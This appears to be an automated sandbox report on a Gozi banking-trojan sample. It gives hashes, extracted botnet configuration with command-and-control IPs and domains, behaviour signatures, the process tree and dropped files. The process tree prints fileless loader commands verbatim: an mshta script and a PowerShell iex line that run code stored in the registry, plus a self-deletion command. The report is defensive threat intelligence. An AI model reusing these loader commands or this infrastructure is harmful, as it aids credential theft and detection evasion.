Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2023 12:53

General

  • Target

    client.exe

  • Size

    295KB

  • MD5

    b54e56a2503ac379bcd8e61852d5e861

  • SHA1

    abcfaff56afa6239ac8efaf8e36ef22b6cc9e8d9

  • SHA256

    d5c77653349176a796c3846dfc596292563d0588564eabf542c978b61597278a

  • SHA512

    fa22a6d5369dd5a06647752ea9ec9f335fe57682931b6808bcd4dd84a3eac5d33f0ec525e23f893b820c6b0e76f46c53ae3cf14ecfbf4e468730dcff817a6513

  • SSDEEP

    3072:w6JyBmvmBEayo1tFHtWl0VnkDS7cW6VnYR4UhsyT+dNIY:xJyIv4EayofFNVtMns4y7T+r

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

185.247.184.139

62.72.33.155

incontroler.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

expirew.com

whofos.com

onlinepoints.online

onlinepoints.top

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Deletes itself 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Users\Admin\AppData\Local\Temp\client.exe
      "C:\Users\Admin\AppData\Local\Temp\client.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:1080
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>To41='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(To41).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\30BA078A-CF87-E252-D964-73361DD857CA\\\TimeContact'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wktxfvgt -value gp; new-alias -name xdllgdkfe -value iex; xdllgdkfe ([System.Text.Encoding]::ASCII.GetString((wktxfvgt "HKCU:Software\AppDataLow\Software\Microsoft\30BA078A-CF87-E252-D964-73361DD857CA").ChartText))
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b169yffl.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2808
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D4A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9D39.tmp"
            5⤵
              PID:1376
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5ktrcqla.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2408
            • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E43.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9E42.tmp"
              5⤵
                PID:1756
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"
          2⤵
          • Deletes itself
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2724
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:1060
        • C:\Windows\syswow64\cmd.exe
          "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
          2⤵
            PID:1608

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\5ktrcqla.dll

          Filesize

          3KB

          MD5

          0b29d0ecf7abf9521301550f7fa51770

          SHA1

          09b918eabe2516c3eeb0879990205d80933adb69

          SHA256

          a778c29c8661d3779a371d732656db13dfd870038442ed6fbb6d2997fc54baf7

          SHA512

          7d4ce25ae74baa8fe6fb803cc6235f7badd4162cb314b894d0b6c3dfea9b9995b895ffc069ed1aec79a6819fdd76cade6a0c7f512e83a25a45774fd9c9570fad

        • C:\Users\Admin\AppData\Local\Temp\5ktrcqla.pdb

          Filesize

          7KB

          MD5

          45d483b6d79a7772c4f67ecbe6671e8f

          SHA1

          f8a1dbd557f802e241257bd26f1040053bb8e55b

          SHA256

          ee24fdd2a55a20aa64bfaece327913d516ca9a67cff315762df246cc2650d5ca

          SHA512

          21f0e46f0553d60c02a566ce46f83e927ebf45225a0d5bce478fd4fa5e90d2664332f85b74e36ecd0c029d5348b8664ff2fe00f1dcfb65f0a556056d42a692ae

        • C:\Users\Admin\AppData\Local\Temp\RES9D4A.tmp

          Filesize

          1KB

          MD5

          a0cf8d76dbc5e320a67a1dd02cffcec3

          SHA1

          1ea07f6f462406229d8efc47eda5be012b33c048

          SHA256

          540e085ebd44b36c68e701431d5940f57cae6e66254579dc6bff66b99b1d636e

          SHA512

          06ea6c683fccfd2c1c52e1b90a570d692c65747a6c575f30d20e984e0be641f9d9fc2bf4e8959dca5486536f6f33360aa2420c48ce53d593aa7a544d0700c3aa

        • C:\Users\Admin\AppData\Local\Temp\RES9E43.tmp

          Filesize

          1KB

          MD5

          580a99e52aaded988b99a18218d1dc93

          SHA1

          6a7ee715786682348f158763be297a614f0759f0

          SHA256

          3d3038978ffcd16f2c6795a7e4e337a85d59298ceb6d8b4957b1cc1bcc216399

          SHA512

          396aa5a30837858600e7a091829fee2ac1ffeee32e4cfe59c0cac6db2040c52dcdb1905d7a0384cd70c22816f1a5c5a4deefacd1b26b09ce1b34cc1b2e66fd8a

        • C:\Users\Admin\AppData\Local\Temp\b169yffl.dll

          Filesize

          3KB

          MD5

          0552fc0556510a998186d1cd9ab08194

          SHA1

          2969ffc9d466ad3909196c1733798949e000a2ab

          SHA256

          08032c4370268efe97fb2b91cde364cc2cd9a7d17e9741f3b54c77a22a77c2c0

          SHA512

          d9599fb7509238fc5caf6cae567dc6b69ee6cd8a76ffc4041cd58725d8fa721e5741dfa23bf3b18709f280d0419c5f0d1d2b6d99fbeec2e5d7c462b39fa02452

        • C:\Users\Admin\AppData\Local\Temp\b169yffl.pdb

          Filesize

          7KB

          MD5

          e2cf67fb872f0cf8b2d016d1979ee1bb

          SHA1

          145329ab304ce391b7536dac3325618e442c18b1

          SHA256

          0b6c64f96e246bf68025219a995d1dfdb284e06d39e701152fbacaedc90a3e98

          SHA512

          990c426b14c59eb688a12beafe42d36a85060047cf497da7cbcb9e928e83a6ec3aba62f9e85448455cd5365e532a8158e5c2d6a8462a6387bd16218c472b80da

        • \??\c:\Users\Admin\AppData\Local\Temp\5ktrcqla.0.cs

          Filesize

          406B

          MD5

          ca8887eacd573690830f71efaf282712

          SHA1

          0acd4f49fc8cf6372950792402ec3aeb68569ef8

          SHA256

          568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

          SHA512

          2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

        • \??\c:\Users\Admin\AppData\Local\Temp\5ktrcqla.cmdline

          Filesize

          309B

          MD5

          6d81068f527466ba74e89139181a62cc

          SHA1

          22bbb9ebca3fabca744e96a20dc90d86f2836e1a

          SHA256

          95675c0e992cb34f894f4dc82f7898beb5e3dd638b92fa134f5d695276a45ef8

          SHA512

          febb3bf99160a8502a4b48dc3c7f33fc55599240874a927e1045711729435d3bd045e7058fc61a80cc79a486fe2a255a68c2809bb0ad33e185b2ca0a70fb832e

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC9D39.tmp

          Filesize

          652B

          MD5

          7bda1efebd7116bfff97bd4625db04c0

          SHA1

          9e3af3217b80cc5cee98e0e0f5e61d2fb141d99a

          SHA256

          0e3357ee6946892a81dd3e7eb070b16472d836ae3c39741e310285e658e651fa

          SHA512

          1f2f91db1218cdd7a4ba15ec6e5ef1ba2fc23608e6da9ad6cb73a37b56a3b5d9f3894d7831c311ae96fb8b9b6eaac7ef997e80915eb578455123d9bfc07ee22b

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC9E42.tmp

          Filesize

          652B

          MD5

          e76a575fdebb02852cf93315b44e6357

          SHA1

          c9fe0552a79cb2f93e794a5202a923dadd94e13e

          SHA256

          c9bace90952f7b05bd729f5bfd5e7b973df6a488e4b421c375fbb98fc36b9903

          SHA512

          e4ad6c395eb7d8739e22039848728510785c964f9699909989e0965e516d64ae2818fdf36b909d45985b403912ff9bcc26213bd5019df90b20c6824f32e1ecdc

        • \??\c:\Users\Admin\AppData\Local\Temp\b169yffl.0.cs

          Filesize

          405B

          MD5

          caed0b2e2cebaecd1db50994e0c15272

          SHA1

          5dfac9382598e0ad2e700de4f833de155c9c65fa

          SHA256

          21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

          SHA512

          86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

        • \??\c:\Users\Admin\AppData\Local\Temp\b169yffl.cmdline

          Filesize

          309B

          MD5

          56036e8e6a38b2443841c7b6dd6f6830

          SHA1

          866dcac53d6d23ea1dd867f0f2682dd95e74c829

          SHA256

          d7bbea1c13773fbc182536bd060d28c7ce8e3e1e023268c947c2597687be7a3f

          SHA512

          dac7aa1b1f65ff54b6ea4d691d16f7e08106cb6b8739e6385e5c9669103527af4a1109bc5e6dfaa356cafc09320fba35ec2b919ab3733b8be9087c9565e1dcad

        • memory/1060-76-0x000007FFFFFD7000-0x000007FFFFFD8000-memory.dmp

          Filesize

          4KB

        • memory/1060-78-0x0000000000100000-0x0000000000101000-memory.dmp

          Filesize

          4KB

        • memory/1060-90-0x0000000000370000-0x0000000000414000-memory.dmp

          Filesize

          656KB

        • memory/1060-77-0x0000000000370000-0x0000000000414000-memory.dmp

          Filesize

          656KB

        • memory/1080-8-0x0000000000400000-0x0000000002290000-memory.dmp

          Filesize

          30.6MB

        • memory/1080-2-0x0000000000400000-0x0000000002290000-memory.dmp

          Filesize

          30.6MB

        • memory/1080-3-0x00000000001B0000-0x00000000001BB000-memory.dmp

          Filesize

          44KB

        • memory/1080-1-0x0000000000270000-0x0000000000370000-memory.dmp

          Filesize

          1024KB

        • memory/1080-4-0x0000000000250000-0x000000000025D000-memory.dmp

          Filesize

          52KB

        • memory/1080-7-0x0000000000270000-0x0000000000370000-memory.dmp

          Filesize

          1024KB

        • memory/1080-10-0x00000000051A0000-0x00000000051A2000-memory.dmp

          Filesize

          8KB

        • memory/1192-57-0x0000000004AA0000-0x0000000004B44000-memory.dmp

          Filesize

          656KB

        • memory/1192-89-0x0000000004AA0000-0x0000000004B44000-memory.dmp

          Filesize

          656KB

        • memory/1192-58-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

          Filesize

          4KB

        • memory/1608-92-0x00000000001E0000-0x0000000000278000-memory.dmp

          Filesize

          608KB

        • memory/1608-85-0x0000000000380000-0x0000000000381000-memory.dmp

          Filesize

          4KB

        • memory/1608-86-0x00000000001E0000-0x0000000000278000-memory.dmp

          Filesize

          608KB

        • memory/1608-82-0x00000000001E0000-0x0000000000278000-memory.dmp

          Filesize

          608KB

        • memory/2408-47-0x00000000007C0000-0x0000000000840000-memory.dmp

          Filesize

          512KB

        • memory/2724-69-0x0000000001CA0000-0x0000000001D44000-memory.dmp

          Filesize

          656KB

        • memory/2724-70-0x0000000000110000-0x0000000000111000-memory.dmp

          Filesize

          4KB

        • memory/2724-91-0x0000000001CA0000-0x0000000001D44000-memory.dmp

          Filesize

          656KB

        • memory/2724-68-0x000007FFFFFDC000-0x000007FFFFFDD000-memory.dmp

          Filesize

          4KB

        • memory/2808-27-0x0000000002120000-0x00000000021A0000-memory.dmp

          Filesize

          512KB

        • memory/3052-21-0x000007FEF2D60000-0x000007FEF36FD000-memory.dmp

          Filesize

          9.6MB

        • memory/3052-53-0x0000000002AA0000-0x0000000002AA8000-memory.dmp

          Filesize

          32KB

        • memory/3052-36-0x0000000002800000-0x0000000002808000-memory.dmp

          Filesize

          32KB

        • memory/3052-56-0x000000001B2D0000-0x000000001B30D000-memory.dmp

          Filesize

          244KB

        • memory/3052-60-0x000007FEF2D60000-0x000007FEF36FD000-memory.dmp

          Filesize

          9.6MB

        • memory/3052-20-0x0000000001E60000-0x0000000001EE0000-memory.dmp

          Filesize

          512KB

        • memory/3052-19-0x0000000001E60000-0x0000000001EE0000-memory.dmp

          Filesize

          512KB

        • memory/3052-18-0x0000000001E60000-0x0000000001EE0000-memory.dmp

          Filesize

          512KB

        • memory/3052-17-0x000007FEF2D60000-0x000007FEF36FD000-memory.dmp

          Filesize

          9.6MB

        • memory/3052-16-0x00000000024A0000-0x00000000024A8000-memory.dmp

          Filesize

          32KB

        • memory/3052-61-0x000000001B2D0000-0x000000001B30D000-memory.dmp

          Filesize

          244KB

        • memory/3052-15-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

          Filesize

          2.9MB